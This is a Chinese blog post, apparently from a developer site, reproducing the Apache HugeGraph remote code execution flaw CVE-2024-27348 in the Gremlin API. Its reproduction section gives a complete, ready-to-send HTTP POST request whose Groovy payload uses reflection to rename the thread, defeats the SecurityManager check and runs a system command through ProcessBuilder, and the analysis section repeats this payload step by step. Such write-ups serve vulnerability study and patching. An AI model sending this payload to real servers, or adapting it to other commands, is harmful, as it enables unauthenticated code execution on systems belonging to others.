CVE-2024-27348

文章目录

漏洞名称

Apache HugeGraph 远程代码执行漏洞(CVE-2024-27348)

漏洞描述

Apache HugeGraph 是一款快速、高度可扩展的图数据库。它提供了完整的图数据库功能、出色的性能和企业级的可靠性。

HugeGraph 的 Gremlin API 中存在一个远程代码执行漏洞。Gremlin 是一种图遍历语言,可以在 Groovy、Python 和 Java 等多种编程语言中实现。攻击者能够利用 Gremlin API 在未经身份验证的情况下执行基于 Groovy 的 Gremlin 命令,从而执行任意命令。

理论上,Apache HugeGraph 会使用 SecurityManager 来限制用户提交的 Groovy 脚本。但 SecurityManager 仅检查以"gremlin-server-exec"或"task-worker"开头的线程名称。攻击者通过使用反射修改当前线程名称,可以绕过这一机制,从而实现任意代码执行。

漏洞复现

ui:

请求:

复制代码
POST /gremlin HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 777

{
    "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"id\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");org.apache.commons.io.IOUtils.toString(startMethod.invoke(processBuilderInstance).getInputStream());",
    "bindings": {},
    "language": "gremlin-groovy",
    "aliases": {}
}

结果:

漏洞分析

利用 ​​Apache TinkerPop Gremlin Server​​ 的 Groovy 脚本执行能力,绕过沙箱限制执行任意系统命令

修改当前线程名称

java 复制代码
Thread thread = Thread.currentThread();
Class clz = Class.forName("java.lang.Thread");
java.lang.reflect.Field field = clz.getDeclaredField("name");
field.setAccessible(true);
field.set(thread, "SL7");
  • Class.forName():动态加载类对象。
  • getDeclaredField("name"):获取私有字段 name。
  • setAccessible(true):绕过访问权限检查。
  • field.set():修改线程名称字段值。

反射调用 ProcessBuilder 执行命令​​

java 复制代码
// 获取 ProcessBuilder 类及构造方法
Class processBuilderClass = Class.forName("java.lang.ProcessBuilder");
java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);

// 构造命令参数列表
java.util.List command = java.util.Arrays.asList("id");

// 实例化 ProcessBuilder 并执行命令
Object processBuilderInstance = constructor.newInstance(command);
java.lang.reflect.Method startMethod = processBuilderClass.getMethod("start");

// 获取命令执行结果
org.apache.commons.io.IOUtils.toString(startMethod.invoke(processBuilderInstance).getInputStream());
相关推荐
paopaokaka_luck40 分钟前
流浪动物救助与收养系统(DeepSeek AI对话、 ECharts多维分析、救助流程衔接、领养与回访衔接、 捐赠确认与公示、志愿者协作)
java·前端·javascript·人工智能·mysql·echarts·推荐算法
Thomas.Sir41 分钟前
第9课:SpringBoot4.x Web开发基础:WebMvc自动配置、静态资源、请求参数接收
java·spring boot
程序 代码狂人1 小时前
切片表与分区表的区别(数据开发面试版)
java·大数据·开发语言·数据仓库·算法
2501_944521592 小时前
Deepmerge 跨端三方库仓颉适配全流程
java·python·eclipse·github
EnCi Zheng3 小时前
后端怎么把AI接口稳定安全低成本接进业务:超时重试、密钥隔离与成本熔断清单
人工智能·后端·安全·架构·api
南归北隐3 小时前
Spring AI Alibaba Graph框架实现MCP数据库查询实战
java·后端·spring ai·mcp·spring ai mcp
古法老登瞎折腾3 小时前
大数据智能运维实战(九):让 AI 查日志——找到异常,也保留上下文
java·大数据·运维·人工智能·spring ai·mcp
Smoothcloud润云3 小时前
GPU远程纳管安全吗?最小权限、网络边界与日志审计实战
服务器·网络·人工智能·安全·gpu算力·gpu
ai大模型-探索者3 小时前
Function Call与MCP(区别、联系与实战)
java·服务器·网络
略略略咯咯3 小时前
啊啊啊啊啊
java·服务器·数据库